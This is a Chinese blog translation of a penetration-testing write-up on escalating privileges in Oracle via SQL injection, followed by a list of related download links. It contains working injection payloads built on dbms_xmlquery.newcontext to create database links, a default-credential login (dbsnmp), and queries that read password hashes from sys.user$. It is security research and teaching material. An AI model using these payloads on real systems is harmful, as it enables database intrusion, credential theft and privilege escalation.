`

[翻译]利用Oracle’s CREATE DATABASE LINK提权

    博客分类:
  • sql
 
阅读更多
原文地址:http://www.notsosecure.com/blog/2014/07/08/abusing-oracles-create-database-link-privilege-for-fun-and-profit/
Oracle数据库(以及其他数据库)提供创建连接到远端数据库服务器的database link功能。可以在远端的数据库上运行数据,并且返回结果。类似MS-SQL的Openrowset/Openquery特征。
引用

CREATE DATABASE LINK local
   CONNECT TO USERNAME IDENTIFIED BY PASSWORD
   USING 'ORCL_SID'


整型盲注
1. 通过BurpPro
2. 不能使用sqlmap
TIP1这通常十次有九次成功,但是如果原本的id=5不返回任何记录,你将错过SQLi。所以为了返回记录,可以添加"or 1=1"
sqlmap将会提示:
引用

"[13:24:41] [WARNING] it appears that you have provided tainted parameter values ('id=189881 or 1=1') with most probably leftover chars from manual SQL injection tests (;()') or non-valid numerical value. Please, always use only valid parameter values so sqlmap could be able to properly run
Are you sure you want to continue? [y/N] Y"

忽略警告,选择Y继续,接着SqlMap将会继续工作,你将会得到一个sql shell以及提取你希望的任何东西

接下来发现数据库有这些权限:
引用

select privilege from session_privs [17]:
  • CREATE SESSION
  • UNLIMITED TABLESPACE
  • CREATE TABLE
  • CREATE DATABASE LINK

  • TIP2:如果你有CREATE DATABASE LINK权限,你可以在SQLi中暴力破解/猜测user,如果成功,那么可以使用那个user来query
    url如下:
    引用
    http://host/vuln.jsp?id=1 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''CREATE DATABASE LINK notsosecure_link CONNECT TO scott IDENTIFIED BY tiger USING ''''ORCL_SID'''' '';commit;end;') from dual) is not null


    经过几次尝试,我们获得user dbsnmp的默认口令dbsnmp,我们以dbsnmp创建一个link
    引用
    sql-shell>select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''CREATE DATABASE LINK link2 CONNECT TO dbsnmp IDENTIFIED BY dbsnmp USING ''''ORCL_SID'''' '';commit;end;') from dual

    dbsnmp用户有“Select ANY Dictionary”权限,可以允许你读sys.user$中的密码hash
    现在我们读取密码hash:
    引用

    sql-shell>select password from sys.user$@link2
  • 286E1EA8F2CFD262
  • 45B1C0C3BB1D853C
  • 4A3BA55E08595C81
  • ....

    dbsnmp用户只有读取hash的权限,没有dba的角色。既然我们拥有了system用户的hash,我们现在可以破解,然后使用system user权限来创建hash:
    引用
    sql-shell>select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''CREATE DATABASE LINK pwn CONNECT TO system IDENTIFIED BY system_password USING ''''ORCL_SID'''' '';commit;end;') from dual

    现在我们可以使用系统权限来执行任何query了。
    • 大小: 30.9 KB
    分享到:
    评论

    相关推荐

      oracle create database link

      oracle create database link

      Oracle数据库如何创建DATABASE LINK

      Oracle数据库如何创建DATABASE LINK

      Oracle DATABASE LINK(DBLINK)创建与删除方法

      Oracle创建、删除DATABASE LINK 创建dblink: create database link [name] connect to [username] IDENTIFIED BY [password] using '(DESCRIPTION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = [ip]...

      Oracle创建Database Link的两种方式详解

      创建一个dblink,命名为dblink_name,从A数据库连到B数据库,B数据库的IP为192.168.1.73,端口为1521,实例名为oracle,登录名为tast,密码为test。  一菜单方式:  打开plsql,点击【File...— Create database link

      oracle跨库查询

      create database link link_zhangli connect to zhangli identified by zhangli using' (DESCRIPTION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = 127.0.0.1)(PORT = 1521)) ) (CONNECT_DATA = ...

      用其它oracle数据库表内容创建本地视图

      create database link

      最全的oracle常用命令大全.txt

       很多时候,一般的ORACLE用户不知道如何有效地利用它。  dictionary 全部数据字典表的名称和解释,它有一个同义词dict dict_column 全部数据字典表里字段名称和解释 如果我们想查询跟索引有关的数据字典时,...

      oracle跨库查询dblink的用法实例详解

      本文实例讲述了oracle跨库查询dblink的用法。分享给大家供大家参考,具体如下: 1.创建之前的工作 在创建dblink之前,...SYS CREATE DATABASE LINK NO SYS DROP PUBLIC DATABASE LINK NO SYS CREATE PUBLIC DATABASE

      最完整的Toad For Oracle使用手册

      Report Link Designer 620 Reporting 623 Toad Control Files 623 Dependencies 624 ER Diagrams 624 Explain Plans 631 Code Road Map 636 HTML Schema Doc Generator 641 Master/Detail Browser 643 Reports ...

      oracle学习文档 笔记 全面 深刻 详细 通俗易懂 doc word格式 清晰 连接字符串

      ORACLE数据库系统是美国ORACLE公司(甲骨文)提供的以分布式数据库为核心的一组软件产品,是目前最流行的客户/服务器(CLIENT/SERVER)或B/S体系结构的数据库之一。  拉里•埃里森  就业前景 从就业与择业的...

      Oracle8i_9i数据库基础

      第一部分 Oracle SQL*PLUS基础 23 第一章 Oracle数据库基础 23 §1.1 理解关系数据库系统(RDBMS) 23 §1.1.1 关系模型 23 §1.1.2 Codd十二法则 24 §1.2 关系数据库系统(RDBMS)的组成 24 §1.2.1 RDBMS 内核 24...

      在oracle内连接远程数据库

      create database link GTPROD_CONNECT.WORLD connect to local identified by local using '(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=172.16.85.144)(PORT = 1521)))(CONNECT_DATA =(SID = orcl)...

      Oracle如何实现跨库查询

      实现结果:在一个数据库中某个用户下编写一个存储过程,在存储过程中使用DBLINK连接另一个数据库,从此数据库中的一...create public database link dblink connect to totalplant identified by totalplant using '

      Oracle sqldeveloper without jdk (win+linux)

      - Bug 5080543: When an Oracle object definition is opened for editing and the database character set is multibyte, CREATE OR REPLACE keywords may appear twice. Workaround: Remove the superfluous ...

      Oracle事例

      create public database link dblink1 connect to db1 identified by \"123*456\" using \'db11\' 20.oracle8中扩充了group by rollup和cube的操作。有时候省了你好多功夫的。 下面的语句可以进行总计 select ...

      Oracle中建立了dblink怎么使用

      Oracle应用服务器OS  1.查看数据库的global_name SELECT * FROM GLOBAL_NAME;...CREATE DATABASE LINK数据库链接名 CONNECT TO 用户名 IDENTIFIED BY 密码 USING ‘数据库连接字符串';  例1: CREATE

      oracle数据库经典题目

      一、填空 1.在多进程Oracle实例系统中,进程分为用户进程、后台进程和服务进程...9.简述Oracle数据库角色的种类、作用,以及如何利用角色为用户授权。 答案: Oracle数据库中角色分为系统预定义的角色和用户自定义的...

      orcale常用命令

       很多时候,一般的ORACLE用户不知道如何有效地利用它。  dictionary 全部数据字典表的名称和解释,它有一个同义词dict dict_column 全部数据字典表里字段名称和解释 如果我们想查询跟索引有关的数据字典时,...

      Oracle报存储过程中调用DBLink同义词出现错误:PLS-00201: 必须声明标识符

      CREATE PUBLIC DATABASE LINK orcl@dbc CONNECT TO orcl IDENTIFIED BY orcl USING 'orcl'; CREATE SYNONYM mtb FOR mytable@orcl@dbc; 这里之所以用orcl@bdc为dblink的名称是为了设置global_names=true。 然后新建...

      oracle数据库在客户端建立dblink语法

      oracle服务器没有建立目标数据库的TNS时,在客户端(有权限的情况下)建立dblink语法如下: 代码如下: create database link dblink_name connect to user_name identified by user_psw using ‘(DESCRIPTION = ...

    Global site tag (gtag.js) - Google Analytics